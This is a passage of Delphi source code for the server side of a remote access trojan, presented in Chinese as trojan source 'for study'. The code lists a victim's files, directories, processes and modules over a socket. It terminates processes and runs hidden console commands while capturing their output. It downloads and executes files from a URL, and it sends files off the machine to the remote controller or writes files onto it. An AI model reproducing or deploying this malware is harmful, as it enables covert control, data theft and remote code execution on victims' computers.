userver.pas

木马源程序,供大家研究

  WSAStartUP($0101, W);
  I := SizeOf(S);
  GetPeerName(Sock, S, I);
  WSACleanUP();

  Result := S;
end;

function RemoteAddress(Sock: TSocket): string;
begin
  Result := INET_NTOA(RemoteAddr(Sock).sin_addr);
end;

function FindMatchingFile(var F: TSearchRec): Integer;
var
  LocalFileTime: TFileTime; //文件创建的时间
begin
  with F do
  begin
    while FindData.dwFileAttributes and ExcludeAttr <> 0 do
      if not FindNextFile(FindHandle, FindData) then
      begin
        Result := GetLastError;
        Exit;
      end;
    FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
    FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi, LongRec(Time).Lo);
    Size := FindData.nFileSizeLow;
    Attr := FindData.dwFileAttributes;
    Name := FindData.cFileName;
  end;
  Result := 0;
end;

procedure FindClose(var F: TSearchRec);
begin
  if F.FindHandle <> INVALID_HANDLE_VALUE then
  begin
    Windows.FindClose(F.FindHandle);
    F.FindHandle := INVALID_HANDLE_VALUE;
  end;
end;

function FindFirst(const Path: string; Attr: Integer;
  var F: TSearchRec): Integer;
const
  faSpecial = faHidden or faSysFile or faVolumeID or faDirectory;
begin
  F.ExcludeAttr := not Attr and faSpecial;
  F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
  if F.FindHandle <> INVALID_HANDLE_VALUE then
  begin
    Result := FindMatchingFile(F);
    if Result <> 0 then FindClose(F);
  end
  else
    Result := GetLastError;
end;

function FindNext(var F: TSearchRec): Integer;
begin
  if FindNextFile(F.FindHandle, F.FindData) then
    Result := FindMatchingFile(F)
  else
    Result := GetLastError;
end;

//找到的是个目录而不是文件...
procedure GenerateList(ASock: TSocket; Dir: string; dNr: Integer);
var
  SR: TSearchRec;
  Temp: string;
  Att: string;
begin
  if (Dir = '') then Exit;
  if (Dir[Length(Dir)] <> '\') then Dir := Dir + '\';
  if FindFirst(Dir + '*.*', faDirectory or faHidden or faSysFile or faVolumeID or
    faArchive or faAnyFile, SR) = 0 then
    repeat
      if ((SR.Attr and faDirectory) = faDirectory) then
      begin
        Temp := IntToStr(C_REQUESTLIST) + ' DIR 0 ' + SR.Name + #10;
        if (dNr = 1) then
          Send(ASock, Temp[1], Length(Temp), 0);
      end
      else
      begin
        Att := '';
        if ((SR.Attr and faReadOnly) = faReadOnly) then
          Att := Att + 'ReadOnly/';
        if ((SR.Attr and faHidden) = faHidden) then Att := Att + 'Hidden/';
        if ((SR.Attr and faSysFile) = faSysFile) then Att := Att + 'SysFile/';
        if ((SR.Attr and faVolumeID) = faVolumeID) then
          Att := Att + 'VolumeID/';
        if ((SR.Attr and faArchive) = faArchive) then Att := Att + 'Archive/';
        if ((SR.Attr and faAnyFile) = faAnyFile) then Att := Att + 'AnyFile/';

        if Copy(Att, length(Att), 1) = '/' then
          Delete(Att, Length(Att), 1);

        Temp := IntToStr(C_REQUESTLIST) + ' ' + Att + ' ' + IntToStr(SR.Size) +
          ' ' + SR.Name + #10;
        if (dNr = 2) then
          Send(ASock, Temp[1], Length(Temp), 0);
      end;
    until FindNext(SR) <> 0;
end;

procedure CvtInt;
asm
       OR      CL,CL
       JNZ     @CvtLoop
@C1:    OR      EAX,EAX
       JNS     @C2
       NEG     EAX
       CALL    @C2
       MOV     AL,'-'
       INC     ECX
       DEC     ESI
       MOV     [ESI],AL
       RET
@C2:    MOV     ECX,10

@CvtLoop:
       PUSH    EDX
       PUSH    ESI
@D1:    XOR     EDX,EDX
       DIV     ECX
       DEC     ESI
       ADD     DL,'0'
       CMP     DL,'0'+10
       JB      @D2
       ADD     DL,('A'-'0')-10
@D2:    MOV     [ESI],DL
       OR      EAX,EAX
       JNE     @D1
       POP     ECX
       POP     EDX
       SUB     ECX,ESI
       SUB     EDX,ECX
       JBE     @D5
       ADD     ECX,EDX
       MOV     AL,'0'
       SUB     ESI,EDX
       JMP     @z
@zloop: MOV     [ESI+EDX],AL
@z:     DEC     EDX
       JNZ     @zloop
       MOV     [ESI],AL
@D5:
end;

function IntToHex(Value: Integer; Digits: Integer): string;
asm
       CMP     EDX, 32
       JBE     @A1
       XOR     EDX, EDX
@A1:    PUSH    ESI
       MOV     ESI, ESP
       SUB     ESP, 32
       PUSH    ECX
       MOV     ECX, 16
       CALL    CvtInt
       MOV     EDX, ESI
       POP     EAX
       CALL    System.@LStrFromPCharLen
       ADD     ESP, 32
       POP     ESI
end;

//列出进程 + 列出模块 (查看PID, 线程, 模块)
procedure ListProcess(ASock: TSocket;dInt: Integer);
var
  CB: DWord;
  hMod_: HMODULE;
  hMod: array[0..300] of HMODULE;
  hProcess: THandle;
  hModule: THandle;
  hSnapShot: THandle;
  ProcessName: array[0..300] of Char;
  ModuleName: array[0..300] of Char;
  ProcessEntry: TProcessEntry32;
  Done: Boolean;
  Temp: string;
  Mods: Integer;
  I: Word;
  B: array[0..9] of Char;
begin
  hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
  ProcessEntry.dwSize := SizeOf(ProcessEntry);
  Done := Process32First(hSnapShot, ProcessEntry);
  while Done do
  begin
    hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, False,
      ProcessEntry.th32ProcessID);
    if (hProcess <> 0) then
    begin
      EnumProcessModules(hProcess, @hMod_, SizeOf(hMod_), CB);
      GetModuleFileNameExA(hProcess, hMod_, ProcessName, SizeOf(ProcessName));
      if (Pos('\', ProcessName) > 0) then
      begin
        Temp := IntToStr(C_PROCESSLIST) + ' ' +
          IntToStr(ProcessEntry.cntThreads) + ' ' +
          IntToStr(ProcessEntry.th32ProcessID) + ' ' +
          IntToHex(ProcessEntry.th32ProcessID, 8) + ' ' +
          ProcessName + #10;
        Send(ASock, Temp[1], Length(Temp), 0);
        if (Recv(ASock, B[0], SizeOf(B), 0) <= 0) then
        begin
          CloseHandle(hProcess);
          CloseHandle(hSnapShot);
          Exit;
        end;
        if (dInt = 1) then
        begin
          EnumProcessModules(hProcess, @hMod, SizeOf(hMod), CB);
          Mods := CB div SizeOf(HMODULE);
          Temp := '';
          for I := 0 to Mods do
          begin
            GetModuleFilenameExA(hProcess, hMod[I], ModuleName,
              SizeOf(ModuleName));
            Temp := IntToStr(C_MODULELIST) + ' ' +
              IntToStr(ProcessEntry.th32ProcessID) + ' ' +
              ExtractFileName(ProcessName) + #1' ' +
              ModuleName + #10;
            Send(ASock, Temp[1], Length(Temp), 0);
            if (Recv(ASock, B[0], SizeOf(B), 0) <= 0) then
            begin
              CloseHandle(hProcess);
              CloseHandle(hSnapShot);
              Exit;
            end;
          end;
        end;
      end;
      CloseHandle(hProcess);
    end;
    Done := Process32Next(hSnapshot, ProcessEntry);
  end;
  CloseHandle(hSnapShot);
end;

procedure EndProcess(ASock: TSocket;dPID: string);
var
  ProcessHandle: THandle;
  ReturnValue: Boolean;
  Temp: string;
begin
  ProcessHandle := OpenProcess(PROCESS_TERMINATE, BOOL(0), StrToInt(dPID));
  ReturnValue := TerminateProcess(ProcessHandle, 0);
  if (not ReturnValue) then
    Temp := IntToStr(C_ENDPROCESS) + ' ' + dPID + ' 0'#10
  else
    Temp := IntToStr(C_ENDPROCESS) + ' ' + dPID + ' 1'#10;
  Send(ASock, Temp[1], Length(Temp), 0);
end;

function RunDosInCap(DosApp: string): string;
const
  ReadBuffer = 24000;
var
  Security: TSecurityAttributes;
  ReadPipe, WritePipe: THandle;
  start: TStartUpInfo;
  ProcessInfo: TProcessInformation;
  Buffer: Pchar;
  BytesRead, Apprunning: DWord;
begin
  with Security do
  begin
    nlength := SizeOf(TSecurityAttributes);
    binherithandle := true;
    lpsecuritydescriptor := nil;
  end;
  if Createpipe(ReadPipe, WritePipe, @Security, 0) then
  begin
    Buffer := AllocMem(ReadBuffer + 1);
    FillChar(Start, Sizeof(Start), #0);
    start.cb := SizeOf(start);
    start.hStdOutput := WritePipe;
    start.hStdInput := ReadPipe;
    start.dwFlags := STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
    start.wShowWindow := SW_HIDE;
    if CreateProcess(nil, PChar(DosApp), @Security, @Security, true,
      NORMAL_PRIORITY_CLASS, nil, nil, start, ProcessInfo) then
    begin
      repeat
        Apprunning := WaitForSingleObject(ProcessInfo.hProcess, 100);
      until (Apprunning <> WAIT_TIMEOUT);
      repeat
        BytesRead := 0;
        ReadFile(ReadPipe, Buffer[0], ReadBuffer, BytesRead, nil);
        Buffer[BytesRead] := #0;
        OemToAnsi(Buffer, Buffer);
        Result := Result + string(Buffer);
      until (BytesRead < ReadBuffer);
    end;
    FreeMem(Buffer);
    CloseHandle(ProcessInfo.hProcess);
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ReadPipe);
    CloseHandle(WritePipe);
  end;
end;

procedure ReplaceStr(ReplaceWord, WithWord: string; var Text: string);
var
  xPos: Integer;
begin
  while Pos(ReplaceWord, Text) > 0 do
  begin
    xPos := Pos(ReplaceWord, Text);
    Delete(Text, xPos, Length(ReplaceWord));
    Insert(WithWord, Text, xPos);
  end;
end;

//文件传递
procedure ReceiveData(AP: Pointer);STDCALL;
var
  Buffer: array[0..1600] of Char;
  Data: string;

  Time: TTimeVal;
  FDS: TFDSet;
  D: Dword;

  Len: Integer;
  Port: Integer;

  Temp: string;
  Cmd: string;
  Param: array[0..100] of string;
  P: Integer;
  FName: string;

  LSock: TSocket;
  Count: Integer;

  rByte: Cardinal;
  sByte: Cardinal;

begin
  LSock := rSock(AP)^.Sock;
  Count := rSock(AP)^.Count;

//  Address := RemoteAddress(Sock);
//  Port := RemotePort(Sock);
  rByte := 0;
  sByte := 0;
  repeat
    Time.tv_sec := 120;
    Time.tv_usec := 0;

    FD_ZERO(FDS);
    FD_SET(LSock, FDS);

    if Select(0, @FDS, nil, nil, @TIME) <= 0 then Break;

    Len := Recv(LSock, Buffer, 1600, 0);
    if (Len <= 0) then Break;

    Data := string(Buffer);
    ZeroMemory(@Buffer, SizeOf(Buffer));

    while (Pos(#10, Data) > 0) do
    begin
      Temp := Copy(Data, 1, Pos(#10, Data) - 1);
      Delete(Data, 1, Pos(#10, Data));

      StripOutCmd(Temp, Cmd);
      StripOutParam(Temp, Param);

      case StrToInt(Cmd) of
        C_DOWNLOAD:
          begin
            Temp := IntToStr(C_DOWNLOAD) + ' ' + ExecuteFileFromURL(Param[0],
              Copy(Temp, Pos(Param[1], Temp), Length(Temp)));
            Send(LSock, Temp[1], Length(Temp), 0);
            Sleep(2000);
            ExitProcess(0);
          end;
        C_UNINSTALL: Uninstall;
        C_PASS: If (Param[0] <> Password) Then
                Begin
                  SendData(LSock, '01 0'#10, sByte); //密码不正确
                  CloseSocket(LSock);
                  Break;
                End Else
                  SendData(LSock, '01 1'#10, sByte); //密码正确
        C_GETFILE:
          begin
            Delete(Temp, 1, 2);
            if (FileExists(Temp)) then
            begin
              FName := ExtractFileName(Temp);
              repeat
                P := Pos(#32, FName);
                Delete(FName, P, 1);
                Insert('_', FName, P);
              until (Pos(#32, FName) = 0);
              Port := ((Random(9) + 1) * 1000) + Random(500);
              SendData(LSock,IntToStr(C_STARTTRANSFER)+' 0 '+IntToStr(GetFileSize(Temp))+' '+IntToStr(Port)+' '+FName+#10,sByte);
              Info.Name := Temp;
              Info.Host := RemoteAddress(LSock);
              Info.Port := Port;
              CreateThread(nil, 0, @SendFile, @Info, 0, D);
            end;
          end;
        C_PUTFILE:
          begin
            (* C_PUTFILE size NewName#1 OldName *)
            Temp := Copy(Temp, Pos(Param[1], Temp), Length(Temp));
            FName := Copy(Temp, Pos(#1, Temp) + 2, Length(Temp));
            Temp := Copy(Temp, 1, Pos(#1, Temp) - 1);

            Port := ((Random(9) + 1) * 1000) + Random(500);
            SendData(LSock,IntToStr(C_STARTTRANSFER) + ' 1 ' + Param[0] + ' ' +
              IntToStr(Port) + ' ' + FName + #10,sByte);
            Info.Name := Temp;
            Info.Host := RemoteAddress(LSock);